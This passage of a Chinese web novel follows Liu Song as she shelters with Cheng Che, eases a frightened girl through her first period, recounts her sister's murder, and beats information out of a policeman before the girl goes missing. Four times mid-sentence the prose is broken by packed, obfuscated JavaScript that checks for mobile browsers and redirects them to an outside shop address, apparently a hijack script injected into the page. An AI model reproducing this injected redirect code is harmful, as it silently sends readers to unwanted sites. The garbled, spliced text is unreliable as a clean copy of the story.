“没事。”程彻抬起头冲柳颂笑了笑,“找了这么长时间,我早就接受了最坏的结果了。只是干爷待我不薄,供我吃穿、教我明理。如今活不见人、死不见尸,我总不能什么都不做吧?” “所以,你查到了吴昆和这件事有关系?” 程彻点了点头:“我干爷酷爱宝石玉器,他有一条嵌有塔菲石的金丝手链,从不离身。偶然的一次机会,我发现那条手链戴在了吴昆手上。” 后来程彻假借生意之名接近吴昆,伺机调查干爷的下落。只是吴昆这些年杀人越货的事干的不少,有些人和事他自己都忘了。关于那条手链,程彻只打听出吴昆是在帮派械斗中得到的战利品。再往下追查时,就查不出什么东西了。 线索断了,程彻只能设法把那条手链偷出来———再怎么说那都是干爷宝贝了半辈子的东西,算是干爷的遗物,不能就这样落在吴昆手里。 没想到吴昆很快就发现手链不见了,派出了大量人手追查。那些人死死咬在程彻身后,程彻好不容易才把他们甩开。 “程彻!” 程彻起身:“阿扎来了,你先坐,我去买点东西。” 屋内安静了下来,柳颂踱步到窗前,看着窗边有些蔫巴的绿萝,将手中的矿泉水缓缓倒进了花盆里。 一抬头,目光不期撞上一双懵懂的眼睛——那是个十一、二岁的小女孩,皮肤黝黑,一头卷毛,正趴在阿扎杂货铺的窗边偷偷看她。 柳颂若无其事地将空了的水瓶扔进垃圾桶,扬起笑容:“Hello!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208631|151062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小女孩脸上泛起了红晕,跳下窗子“噔噔蹬”地跑到了阿扎背后把自己藏了起来。 阿扎把他的船屋开到了程彻门前,此时正站在杂货铺门口和程彻聊天。小女孩扑过来后,他用手摸了摸小女孩的小卷毛,用柳颂听不懂的南城话冲小女孩说了两句话,小女孩依依不舍地松开抓着阿扎衣角的手,回屋去了。 柳颂倚靠在窗边,看着程彻的背影,声音低到似自言自语:“台球,你觉得他的话有几分可信?” …… 台球——女鬼给自己争取到的新名字。柳颂整天女鬼女鬼的叫她,她终于受不了了。真是太没有礼貌了,她虽然是鬼,但她是个有尊严的鬼!难道还不能拥有自己的名字吗?她也没有整天‘女人女人’的叫柳颂呀。当时柳颂又累又饿,没力气和女鬼扯皮,看了一眼女鬼手里的眼珠子,随口道:那就叫你眼珠子好了。 女鬼:这也太草率了吧,她一个花季少女怎么能叫这么血腥的名字呢。 柳颂:既然咱俩是在台球厅相遇的,那就叫你台球吧。 总好过被她叫眼珠子,女鬼虽然不情愿,也只能勉强接受了这个名字。 …… 台球趴在窗边,双手托腮:“你不信他吗?” 柳颂摇了摇头:“倒也不是完全不信,只是觉得过于巧合——我被追杀,他就刚好出现还这么好心地把我救了;我想要查凶手,他就给我提供了一个这么大的线索。而且我们才见了一面,他就把他来这儿的目的一五一十地都说出来了,未免……太不设防了吧?” 台球:“我看他长得挺老实的,再说了,他又不知道你的目的,说不定是因为他单纯善良,觉得和你有共同的敌人才说这么多的呢?” “善不善良不知道,只看他能在这鱼龙混杂的地方混得如鱼得水,也知道肯定不是所谓的老实人。” “你说的也有道理……” 柳颂:“算了,目前看来他对我没有恶意。能在这躲一阵子也好,若如果他真的有其他想法,早晚会漏出狐狸尾巴的。” 屋外,阿扎把程彻要的东西递给他,指了指窗边的柳颂:“那是你来自京国的女朋友吗?” 程彻回头,只见女生倚靠在窗前远眺,耳鬓的碎发随风飘扬,阳光撒在她的身上,像是给她披上了一层金色薄纱,让人不禁联想到了京国古画中的美人图。 “别瞎说,小姑娘看着刚毕业,不知道怎么得罪了吴昆,在这边又没有亲人朋友,怪可怜的,既然让我遇见了,那我能帮就帮一把。” “嚯,程大善人!这边这么多可怜人,你帮的过来吗?行了,我先走了,还得回去给我的猪仔喂食儿呢!” 程彻摆了摆手,转身回到屋内。 “这是一些日用品,左边这间屋子是空的,我待会给你拿床被子来,你先住在这里吧。” 柳颂回过头来,接过道谢。 *** 将程彻送来的被子铺好后,柳颂整个人趴在床上,放松地将脸埋进了被子里。 被子蓬松柔软,散发着太阳的味道,柳颂终于放松了一直紧绷的神经,卸下一口气后开始有些昏昏欲睡。 突然,床底传来窸窸窣窣的声音,柳颂猛地起身,厉声喝道:“谁!” 8. 人间烟火 床底的声音消停了下去,柳颂悄声后退,双手背在身后将门口的扫把握在了手里。她缓缓弯腰,看向床底,神情放松了下来。 “是你?” 只见一头卷发的小女孩趴在床底,小鹿般的眸子湿漉漉地看着柳颂,脸上还挂着两道泪痕。正是在阿扎杂货铺见到的那个小女孩。 柳颂把扫把放回原地:“你怎么在这?快出来吧……你会说英文吗?” 见小女孩一副茫然的样子,柳颂有些头大,只得扬声道:“程彻!” 厨房里,程彻正在做晚饭——一段时间没回来了,家里什么菜都没有,所幸还有一捆面条和几个鸡蛋。他刚把鸡蛋磕到锅里,正准备翻面,突然听到柳颂大叫,以为她出了什么事,拎着锅铲急急忙忙地就跑了过来。 “怎么了?哎,木木,你怎么在这?” 程彻把木木扶起来,见到程彻,木木忍不住大哭起来,边哭边用南城话说着什么。 柳颂一头雾水,看向程彻:“她说什么?” “她说她得了怪病,快要死了。” 程彻帮木木擦着眼泪,用南城话安慰她:“别怕别怕,和哥哥说到底怎么回事?” 可木木只是摇头流泪,只说自己得了怪病好害怕。 柳颂心下一动,绕到木木身后,看到她身后的血,了然。 “程彻,木木家是不是没有女性长辈啊?” “嗯?你怎么知道?阿扎母亲早亡。木木是阿扎父亲在外面和一个非洲女人生的,木木还没满月时就被她那个不靠谱的爹扔给了阿扎。唉,当时阿扎也才不到十岁。这些年她父亲一次都没回来过,阿扎又当爹又当妈,靠着做些小生意才把木木拉扯大。” “小姑娘来月经了,估计之前从来没有人教过她这些生理知识,突然看见自己流血,以为得了怪病,害怕了。” “啊?” 程彻有些哭笑不得,她听到木木得了怪病时着实吓了一跳,真的没想到是这么个乌龙。 不过仔细想想也挺合理的,木木没有妈妈也没有姐姐,阿扎才十九岁,自己还是个半大孩子呢,别说教木木生理知识了,估计他自己都不懂这些。木木虽然是个不到十一岁的小姑娘,但是也知道男女有别,估计是涉及隐私部位不好意思和她哥哥说,这才躲到了他这里,这也解释了程彻问她什么都不说了。 “程彻,我来和她说,你帮忙翻译一下。”柳颂蹲下身帮木木擦了擦眼泪,“木木啊,别害怕。听姐姐说,你没有得怪病。” “真、真的吗?可是我流了好多血……” “当然是真的了!木木,你这是来月经了,每个女孩子都要经历这个过程的。这是一种正常的生理现象,是女孩子发育成熟的象征,你不用害怕,更无需为此感到难为情或羞耻。 姐姐告诉你,每个女孩身体中都有一个器官:卵巢。卵巢中沉睡着成千上万个卵泡,每个卵泡中都有一个卵细胞,月经意味着卵细胞发育成熟并顺利排出,这是人类存在的基础之一,女孩子应该为此感到高兴和自豪呢!” 听了柳颂的话,木木终于破涕为笑。天知道她今天发现自己流血时有多么害怕,她以为自己得了怪病、命不久矣。去年村里的阿玲姐就是大出血死的,听人说像她们这种情况要去医院,可是去医院要花很多钱,她们家没有钱,哥哥赚钱不容易,她一个快要死的人就不要浪费哥哥的钱了。 她本来想着先在程彻哥哥这里躲一躲,等到晚上她再悄悄在岸边挖个坑把自己埋了。 没想到她被这个姐姐和程哥哥发现了,她积攒起来勇气一瞬间就泄了,她还是怕死的。 更没想到是自己闹了个大乌龙,木木脸有些红。不过不用死了,木木还是很开心。 柳颂看木木捂着肚子,轻声问道:“你是不是肚子疼?” “嗯。姐姐,来月经会肚子疼吗?” “有一部分女孩子不会痛,但大部分女孩子都会肚子疼的。不过每个女孩子症状都不同,有的人肚子疼,有的人腰疼,还有的人会上吐下泻、浑身冒冷汗呢。如果症状严重要及时吃止痛药、让你哥哥带你去看医生,知道了吗?” 木木点了点头:“姐姐,你懂得好多啊。” “这些也是姐姐的姐姐告诉我的,姐姐还记得我第一次来月经的时候也像你一样害怕,姐姐的姐姐就告诉我这些知识、给我煮红糖水……” 说起姐姐,柳颂的神情有些落寞,以往她来月经时总会腰酸肚子痛,姐姐就会帮她煮好红糖水、帮她按摩腰。姐姐大她七岁,在她眼里,姐姐总是时尚又无所不能。从小到大,她都像一个跟屁虫一样跟在姐姐身后。尤其父母死后,姐姐就是她在这个世上唯一的亲人了,可如今…… “柳颂?柳颂?你怎么了?”程彻看着柳颂,总觉得她现在和平时很不一样,周身似乎萦绕着一股阴沉而又悲伤的气息。 柳颂回过神来,收起心绪:“没事,对了,你家里有红糖吗?没有的话热水也行,木木现在喝点热乎的会舒服很多。” 程彻点了点头,转身离开:“我这就去弄。” 柳颂摸了摸木木的头,比划着表达自己的意思:“来,木木,姐姐教你怎么用卫生巾。” *** 教完木木,柳颂踱步到厨房,往盘子里一看,忍不住“扑哧”笑出声来。 程彻将盘子里那个黢黑的煎蛋往身后藏了藏,无奈地笑:“这是意外,刚才听见你喊我,以为出了什么事,着急过去,忘了锅里还煎着鸡蛋……” 见柳颂一脸“我懂,我就静静看着你狡辩”的表情,程彻耳尖一红,不服气道:“你别不信,待会就给你看看我的厨艺,保管你吃了这顿还想下顿!” 柳颂双手一摆作投降状:“行行行,那我就等着尝一尝程大厨的手艺了。” 片刻后,餐桌上。 程彻将一碗冒着热气的红糖水端到了木木面前:“先喝碗红糖水暖暖肚子,待会哥哥再给你盛碗面吃。” “好,谢谢程彻哥哥。” 柳颂往碗里一看,只见浓郁的红糖水里面还卧着两个被糖水染红的荷包蛋。 她嘴角微微上扬,厨艺暂且不论,这家伙还挺细心的。 程彻又端了两碗热腾腾的面过来,其中一碗推到柳颂面前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208632|151062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “家里没有别的菜了,限制了我的发挥。只能简单煮个面,来尝尝吧。” 雪白的面条浸润在金黄色的面汤里,碗中央卧着颗荷包蛋,鸡蛋边缘是卷曲的,泛着油润的金黄色,应该是先煎过再煮的。 “卖相不错呀。” 程彻下巴微微抬起:“那是当然。” 柳颂挑起一筷子面,还未入口便觉香气扑鼻,她尝了一口,眼眶渐渐湿润。 她的生活在一夕之间天翻地覆,这几天颠沛流离,别说吃饭了,每天连睡觉都睡不足四个小时。那天她将绑架她的绑匪扔在河边后,抢过绑匪的车连开几十公里都不敢停下。因为怕车上有定位器,她开着车兜了好几个圈子才把车开进了河里毁尸灭迹。她怕被帽子男那伙人发现,不敢坐车、不敢和人说话,用身上为数不多的钱换了身装扮,蒙住头脸走了一天一夜才回到南城,这期间渴了就喝矿泉水,饿了就啃几块劣质的干巴面包裹腹。 现在突然吃到一顿热腾腾、香喷喷的家常菜,她终于绷不住了,内心的恐惧、委屈和不甘如今都化作泪水夺眶而出。 程彻看着柳颂吃面,正眼巴巴地等着她的反馈,谁知这姑娘的眼泪突然就像开了闸的洪水一般“啪嗒啪嗒”地往下掉。他有些手足无措,慌忙问道:“怎么了?就算不好吃也不至于难吃到哭了吧?” 被他这么一打岔,柳颂的眼泪戛然而止,想伤心都伤心不起来了。 她抬起头,看见程彻和木木都担心地看着她,有些不好意思。她胡乱用手抹了把眼泪:“没有,很好吃。就是太辣了。” 程彻一顿,是吗?可是他没放辣椒啊…… 程彻也不戳穿她,从第一次见到柳颂的时候,程彻就知道这姑娘有秘密。但各人有各人的缘法,人生在世,谁还没几个秘密了?她不想说,他也就装作不知道。 他抽出两张纸巾递给柳颂:“擦擦吧,哭得丑死了。” 柳颂接过纸巾,边擦边说:“你这人说话这么直,以后肯定找不到女朋友。” 明明是关心的话,从他嘴里说出来就变了味儿。 程彻不屑道:“切~” 一旁的木木有些焦急地问道:“姐姐怎么了?” 程彻:“没事儿,姐姐就是觉得哥哥做饭太好吃了,给她香迷糊了,怕以后吃不到才哭的。” 木木放下心来:“那程彻哥哥以后要多做给姐姐吃,这样她就不会哭了。” 程彻用手指刮了刮木木的鼻子:“你个小鬼。快把红糖水喝完,哥哥也去给你盛一碗面。” 余光瞥向柳颂,只见她正大口大口地吃着面,无暇顾及这边。 柳颂才不管他们说什么,反正他们俩说的话叽哩咕噜的,她也听不懂。她是真的饿坏了,三下五除二就将碗里的面扫荡一空。一碗面下肚,空落落的胃里总算是有些熨贴。她意犹未尽,看见程彻起身,问道:“还有多的吗?” 程彻接过碗,笑道:“饿狼转世啊?锅里多得很,等着,我去给你盛。” 吃人嘴短,柳颂扬起一个大大的笑容:“嘿嘿,是程大厨做饭太好吃了,怪我之前有眼不识泰山了。” 9. 游湖夜话 柳颂站在高脚屋前伸懒腰,木木不知道从什么地方钻了出来,羞涩地笑着挽住了她的胳膊。 身后,程彻弯腰从门口走出来:“我要送木木回家,你要一起去吗?” 木木眨巴着眼睛看着柳颂,双手抓住柳颂的袖子轻轻摇晃,嘴里说着什么。 柳颂听不懂,但她看懂了,木木的意思应该是:“去嘛去嘛。” 程彻在一旁笑道:“木木很喜欢你啊。对了,这边的落日很好看的,你出来看看放松放松心情也不错。” “那走吧。” 程彻这次没开来时的那条船,而是换了一条带船蓬的双桨湖蓝色小船。 待柳颂和木木坐稳,程彻用桨板往岸边一撑,小船便晃悠悠地离开了岸边。 夕阳西下,天边晚霞如火,将整片天空都映照成了橙红色,远处水天相接,天地间一片橙红,就连空气都变得温暖慵懒了起来。 柳颂坐在船头,看着落日与晚霞,感受着吹到她脸上的清风,缓缓吐出一口浊气。 真美啊。 木木坐在船蓬里,双手托腮,星星眼看着柳颂。落日将余晖撒在柳姐姐身上,柳姐姐的发丝闪着暖黄的光,随着微风飘来飘去,飘到了她的脸上。她的脸白嫩光滑,离得近了,还能看见脸上被落日镀了金光的小绒毛。 她从船蓬里出来,坐在靠船头的位置:“柳姐姐真好看啊。” 柳颂回头,有些疑惑地看向在船蓬里划桨的程彻。 “她说你长得好看。”程彻随着木木的目光看向柳颂,确实好看。 柳颂揉了揉木木的小卷毛:“木木长得也很好看啊。你看,你的小脸多光滑,像绸缎一样;你的眼镜又大又圆,像可爱的小鹿;你的头发卷卷的,像软乎乎的小羊。” 听完了程彻的翻译,木木的眼睛亮亮的,她从来都不知道自己有这么好看,现在听柳姐姐一说,她也觉得自己好看极了。 她“咯咯”地笑了起来,转头看向程彻:“程彻哥哥,你能教我学中文吗?” “怎么突然想学中文了?” “因为我想听懂你们的话。” 尤其是柳姐姐,她想听懂柳姐姐说的话。 *** “真是多谢你们了,确实是我的疏忽,没能及时关注到木木的异常。” 阿扎有些后怕,还好被程彻和柳颂发现了,不然这傻孩子真能刨个坑把自己埋了。 程彻拍了拍阿扎的肩膀:“也别太自责了,这么多年你又当爹又当妈,做的够好了。这些事儿也没人教你,你没有意识到也是正常的。” 阿扎点了点头,又看向柳颂:“柳姑娘,还是要谢谢你。从今以后,你就是我阿扎的朋友了,有什么事招呼一声,我阿扎一定给你办了!” 柳颂摆摆手:“害,不用放在心上。” *** 回程路上,天色渐晚。 程彻坐在船蓬里,双手撑浆、划桨,柳颂倚坐在船蓬上,双眼微闭。 小船摇摇晃晃,桨板搅动湖水,水声潺潺,远处依稀有蛙叫。 柳颂精神放松,轻声道:“程彻,你有什么愿望吗?” “愿望?我的愿望就是早日找到干爷的下落,然后回国过自己的小日子去。” “差点忘了你现在是个继承了巨额财产的富二代。” 也是,有舒服日子过,谁愿意过这种颠沛流离、朝不保夕的日子啊。 程彻:“被你说的好像我是个纨绔似的。职位越高、责任越大。干爷的那些公司都有专业经理人和董事会打理,不用我干预,我也不想接这个摊子。但我也不是无所事事的好吧,我自己也开了家小店呢。” “哦?你开了什么店?” “火锅店。等回国了,我请你吃火锅啊。” “哈哈哈,好。那我就继续厚着脸皮蹭你的饭了。” 柳颂换了个更舒服的姿势,双眼依旧微闭:“不过说实话,你还挺有情有义的。这世上多的是忘恩负义之辈,就算对自己亲爹亲妈都不一定尽心。像你这种为了报你干爷的养育之恩,抛下国内的舒服日子,一头扎进这异国他乡就是三年的人,真是少见。更别提你干爷自己都发话让你不用找他了,一些人若是身处你这个位置,就算他们什么都不做,也没有人能说他一句不是。” “是啊,按照干爷的遗嘱,什么都不做,安安心心继承遗产,老老实实当个富二代,确实舒服。唉,其实我不是没想过这样做。” 程彻放缓划桨的速度,将盘着的腿伸直,“可是我过不去自己心里的那道坎。人活一世,别人的评价都是过眼云烟,只有自己对自己的评价才是最重要的。我不想等我百年之后,为了这件事唾弃我自己。 虽说我和干爷关系不是特别亲密,但还是那句话:没有他,就没有现在的我。而且我知道,他不让我找他是不想让我为他的执念买单。你看,这老爷子到死都为我着想,我又怎么能真的不管他了呢?找吧,人是死是活,总得找出个结果来。就算最后还是没有结果,起码我试过了、努力了,以后想起来也不会遗憾。” 柳颂默默听着,半晌,幽幽地飘出一句:“我还没和你说过我的事吧?” 程彻不置可否。 “其实我说不知道怎么惹到了吴昆,是骗你的。” “我知道。” 柳颂有些心虚:“哎,其实也不算完全骗你。我确实不知道他抓我过去干什么。” 夜幕降临,在这条小船上,此时此刻,柳颂忽然有了倾诉的欲望。 “今天看见阿扎和木木,我就想起了我的姐姐。我父母在我初中时就出意外死了,我是被我姐姐拉扯大的。和阿扎兄妹俩一样,我姐姐也比我大不了多少岁,当时她还在上大学。爸妈没了,她也很难过,可她还是撑住了,因为她的妹妹还小,需要她照顾。她接替了爸妈的角色,把我这个拖油瓶接了过去、带在身边。 这么多年,我一直觉得挺对不起她的。因为我这个拖油瓶,她错过了很多机会,就连现在这个姐夫,她也差点错过。我能看出来,姐夫是个好人,他们两个也是真心相爱的。所以当我得知她因为我和姐夫分手后,我一哭二闹三上吊,撒泼打滚、绝食抗议……各种方法都试过一遍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208633|151062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于说服了她,让她跟着姐夫来到了南城生活。” 程彻真的是个很好的倾听者,他静静听着,不反驳、也不附和。只有在听到柳颂说自己是个拖油瓶时微微皱了一下眉,欲言又止;在听到柳颂的撒泼大法后又忍不住唇角微勾:他真的想象不到那个场景。 柳颂闭着眼睛,没有看见程彻的这些表情。她自顾自地说着:“我大学毕业了,终于有时间来南城找她了。可没想到,我这一来,给她带来了大祸,是我连累了她……” 程彻有些不好的预感,果然,只见柳颂睁开眼睛:“我的姐姐,死了。” 他终于忍不住开口:“怎么会?” “是啊,怎么会?怎么会这样呢?我们明明什么都没做啊……那天在湄公河边,你有没有看见有户人家在举办葬礼?” 程彻回忆起那天,逃跑途中确实看到了葬礼,还听了一耳朵路人七嘴八舌的讨论。原来,那是柳颂的亲人吗? “那户人家是我姐夫的家人,我的姐姐和姐夫死在了大火里。警察判定这个案件为情杀。可我知道,事实不是这样的,是有人杀了她们!在她们死的前一天,我差点被绑架,凶手没得手,第二天就去杀了我姐姐和姐夫。可是没人相信我,他们都觉得我疯了,就连警察都不愿再浪费警力去查。我在警局里和警方纠缠,想让他们接着查下去,毕竟凶手还在逍遥法外啊。 可是没想到,我在警局里竟然又被绑架了。” 柳颂说的平淡,程彻却听得心惊肉跳。是啊,像柳颂这样在国内刚毕业的小姑娘,生在红旗下,长在新京国,本能地便会信任政府、信任警方,又怎么会想到在这异国他乡的警局会是这个样子的呢?再次被绑架的时候,她该有多绝望啊? 他伸出手,想摸摸她的头,似是觉得不合适,手伸到一半转到了柳颂的肩膀上,轻轻拍了拍她的肩膀。 柳颂扯了扯嘴角:“不过还好我留了个心眼,成功逃出来了。其实到这时候,我还是不知道绑架我的人是谁,直到遇见了你。” 柳颂说完了,小船上又安静了下来,只有浅浅的呼吸声在空气中流转。 柳颂转头看到程彻,有些哭笑不得:“喂,你这是什么表情啊?好像哭丧一样,丑死了。” 程彻:…… 她这个人真的是,还嫌他说话直,程彻看她也不遑多让。 程彻正色道:“绑架、杀人放火……这些确实是吴昆能干出来的事。不过吴昆为什么要一而再再而三地绑架你?” “我也不确定,匹夫无罪,怀璧其罪。可能,是因为看中了我算命的本领?” “啊?” 程彻没想到是这么个回答,他有些不相信,只当是柳颂不想说。 “是吗?看不出来,你还是个神婆?那你帮我算算我爷爷在哪?” “我出场费很贵的好吧。” 程彻一脸倨傲:“没事儿,哥不差钱。” 柳颂竖起大拇指:“你有钱你牛。不过姐姐我学的是死人卦,用在活人身上可不吉利哦。” “哈哈哈,那算了,希望我以后也用不到。” 10. 打探消息 这两天逃亡途中柳颂和台球尝试了很久,终于摸清了掌香的一些用法和限制。 不知是她的能力不够还是其他原因,燃香并非百试百灵,大多数时候点燃的香都毫无反应。 比如她想用香找一下被她扔在湄公河边的光头和八字胡,结果却失败了;让台球飘到几公里外,她燃起香,香又有了反应;她换了一身装扮后,将原来的衣服扔进了街边的垃圾桶里,燃香寻找,成功了;身边飞过一只野鸡,她走出一段距离后燃香尝试寻找,又失败了,没想到再次燃香时却成功了。她返回去一看,那只鸡被野狗咬死了…… 诸如此类,柳颂总结了一下,发现寻找活物,即有生命体征的东西她就会失败:活人光头和八字胡、未被野狗咬死的鸡。成功找到的都是死物:衣服、死鸡,当然还有没有生命体征的女鬼台球。 她还发现,要想燃香寻死物,首先要有一个媒介。换言之,要提前接触过这个物品或是接触和这个物品有关的东西。举个例子,如果路过她身边的野鸡留下了几片羽毛,她拿着羽毛燃香才能找到被野狗咬死的鸡。且这个能力应该还有距离限制,她燃香找国内老宅她用过的东西时,飘出的烟就像信号接触不良似的断断续续,只能指出一个大致的方向。 所以她和程彻说她能算的是死人卦,也不能算骗他,至于他信不信,那就和她无关了。 *** 第二天一早,柳颂坐在床边胡乱揉了揉自己的头发,她有些懊恼,昨天晚上真是着了魔,竟然不知不觉和第一次见面的人说了这么多。 “还说程彻单纯呢,我看是我太单纯了,单纯到蠢了,竟然一点戒心都没有地就把自己的事都说出来了。” 台球在一旁看得明白:“其实也不能怪你,不是他先和你说的吗?” 小柳儿突逢变故,这段时间把所有情绪都压抑在心里,早晚会把她自己憋坏的,能有个人倾诉也好。 “昨晚氛围都到那儿了,也不怪你憋不住。况且我看他人不错,不像是和帽子男有关系的人。” “但愿吧。” 柳颂拉开房门门去洗漱,路过厨房时瞥见程彻在里面忙前忙后。 看见柳颂,程彻微微一笑:“起这么早?早饭还要等一会才能好。” 柳颂以为自己起的够早了,没想到程彻更早。一看到程彻,她就想到昨晚在他面前哭的样子,神情不禁有些尴尬。 她不自然地咳了声:“我来帮你吧,不能总是吃白食。” “呦,柳大师要化身柳大厨了吗?” 柳颂笑出声:“论厨艺,我可比不上程大厨,只能当个帮工,给程大厨打打下手了。” 程彻也笑,笑着笑着又有些心疼。这姑娘也才二十出头的年纪,就遭遇这么大的变故,怪可怜的。 罢了,帮人帮到底,送佛送到西。 “一直待在南城不是长久之计,你想好怎么回国了吗?我这倒是有个路子,能躲过吴昆的眼线回国。” 柳颂将鸡蛋磕到碗里,拿着双筷子搅动,道:“我还没想回国。” “啊?难不成你还想找吴昆报仇?” 见柳颂沉默,程彻有些诧异:“不是,你真这样想的啊?你清醒一点,这边不比国内,连警察和政府都管不了像吴昆这样的黑老大,你手无缚鸡之力,在南城又举目无亲,怎么找他报仇啊?” 柳颂:“我总得查清楚事情的来龙去脉,总不能就这样稀里糊涂地逃走,” “查清之后呢?如果真是吴昆做的,你想怎么办?让他血债血偿?且不说你能不能做到,就算你真有这个能力,你敢杀人吗?” 像柳颂这样的人,从小到大估计连鸡都没杀过,让她去杀人?双手沾满鲜血之后她还能做回正常人吗? 连他都没想着要报仇,只想着找到干爷的下落就回国。说他冷血也好,说他忘恩负义也罢,但是报仇二字,说起来简单,做起来却难如登天。若是在国内,大可借助法律将吴昆绳之以法,可是这里不是京国。 斯人已逝,活着的人还要继续生活啊。 柳颂瓮声瓮气:“查清之后再说吧。你放心,我不会连累到你的。” “我是那个意思吗?你……唉,算了。” *** 酒吧一条街位于南城市中心,人来人往,摩肩擦踵。街道两旁的建筑结合了殖民地风格的法式老建筑和中世纪的东南国风格老屋,形成了独特的风貌。 这里不仅是当地人买酒的地方,还售卖各个国家的美食,吸引了许多外地游客。 柳颂用头巾蒙住头脸坐在一家人满为患的柬埔寨餐厅里,点了一份高棉米粉和柬式酸汤,边吃边竖起耳朵偷听身后那桌的人说话。 今天早饭过后她就蹲守在警局对面,本来想要跟踪李安来打探绑匪的消息,结果蹲了小半天都没蹲到李安,本以为要无功而返,没想到蹲到了莫特。 身后,莫特正在和一个黑人络腮胡用英语聊天。 络腮胡点起一根烟:“这边就是这样的,你习惯习惯就好了。” 莫特往嘴里灌了口酒道:“工作之前我就知道政府不会和那些人抗衡,但我真的没想到连师父也要助纣为虐,那个柳小姐真是太可怜了。” “扑哧,你看她可怜,那你敢去救她吗?收收你无处安放的圣母心吧。对了,听说那个女人和你祖母来自同一个国家?” 莫特点了点头:“都是京国的。” “哪个国家的都白搭,摊上这种事只能怪她自己倒霉。” 莫特叹了口气:“不说她了。这段时间看好你女儿,别让她到处乱跑了,最近很多人失踪,尤其是女人和孩子。” “是不是那几个帮派搞的事?” “说不准。” *** 告别友人后,莫特双手插兜,慢悠悠地往家走。 步入一条无人的小巷,他脚步一顿,猛地回头,可为时已晚,一根粗壮的木棍直冲莫特面门而来。 他紧急将头一偏,硬生生用肩膀接下这一棍。莫特闷哼一声,捂着肩膀单腿跪地。右臂剧痛无比,竟是被这一棍打脱臼了。他抬头一看,一个用头巾蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210286|151062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住头脸的女人拿着木棍站在他面前。 没能一击把他击倒,柳颂眼神一沉,毫不犹豫再度挥动木棍。 莫特侧身躲避,无奈女人的攻势太急太猛,没给他一点反击的机会,硬生生地将莫特逼到了墙角。 他仔细观察着眼前的女人,越看越熟悉,待看到那双瑞凤眼时,他大呼一声:“柳小姐?!” 见身份暴露,柳颂也不再遮掩,将头巾往下一拉,冷笑一声:“看到我还活着,你好像很惊讶?” 莫特确实有些惊讶,他从李安那里打听到柳颂是被一个一米九的壮汉绑走的,没想到她能从他们手里逃出来。不过想起她将李安摁在地上锤的样子,她现在能好好地站在这里似乎也挺合理? 他用左手握住了柳颂的木棍:“你是不是想问凶手是谁?” 柳颂不置可否,等着他说下去。 莫特:“我真不知道凶手是谁。” 柳颂眉毛一挑,抬脚就往莫特腿间踢。 莫特慌忙松开抓着木棍的手往旁边一滚躲过这一踢,艰难地护住了自己的命根子。 “你想问什么就问嘛,不要动手啊。” 柳颂将木棍往身前一横:“李安在哪?” “他这几天请假没来警局,不过我可以告诉你他家在哪。” “你卖你师父倒是卖的挺快的。” 莫特苦笑一声,他早就看不惯李安了,尤其经历过柳小姐这件事,他更是看透了李安是什么人。 “城东从左往右数第三条巷子最里面一家就是李安家。” 巷口传来行人交谈的声音,莫特扶着胳膊站起来,道:“你走吧,我不会告诉别人的。” 柳颂盯着莫特,慢慢后退几步,将头巾重新拉到脸上,转身快步跑走了。 *** 傍晚,浮村。柳颂有些不熟练地划着小船。 她去了李安家,没成想扑了个空,李安家一个人都没有。台球飘进屋里一看,屋里乱糟糟的,满地的酒瓶子,桌子上还有吃完的泡面桶,里面的面汤都发霉了。看来李安已经好几天没回家了。 没办法,柳颂只能先回来再寻他法了。 路过阿扎的杂货铺,阿扎正在给他那几头白白胖胖的小猪喂食。 看见柳颂划船,阿扎往她身后看了看:“柳小姐。哎?你自己出来的,程彻没和你一起吗?” “我自己出去逛逛。怎么没看见木木?” “木木不是今天一大早就去找你们了吗?她说要跟着程彻学中文呢。” “可能是我早上出门太早和她错过了,那你先忙吧,我先走了。” 回到高脚屋,柳颂将小船的缆绳挂在屋前的木桩上,四下看了看。奇怪,怎么没看到木木的小船? 她“噔噔噔”地跑上楼梯,三两步跑进屋里:“木木?” 程彻正在给窗边的绿萝浇水,闻言道:“哪有木木?今天家里就我自己啊。” 柳颂心里咯噔一下,坏了! “阿扎说木木一大早就来了,到现在还没回家呢!” 11. 寻找木木 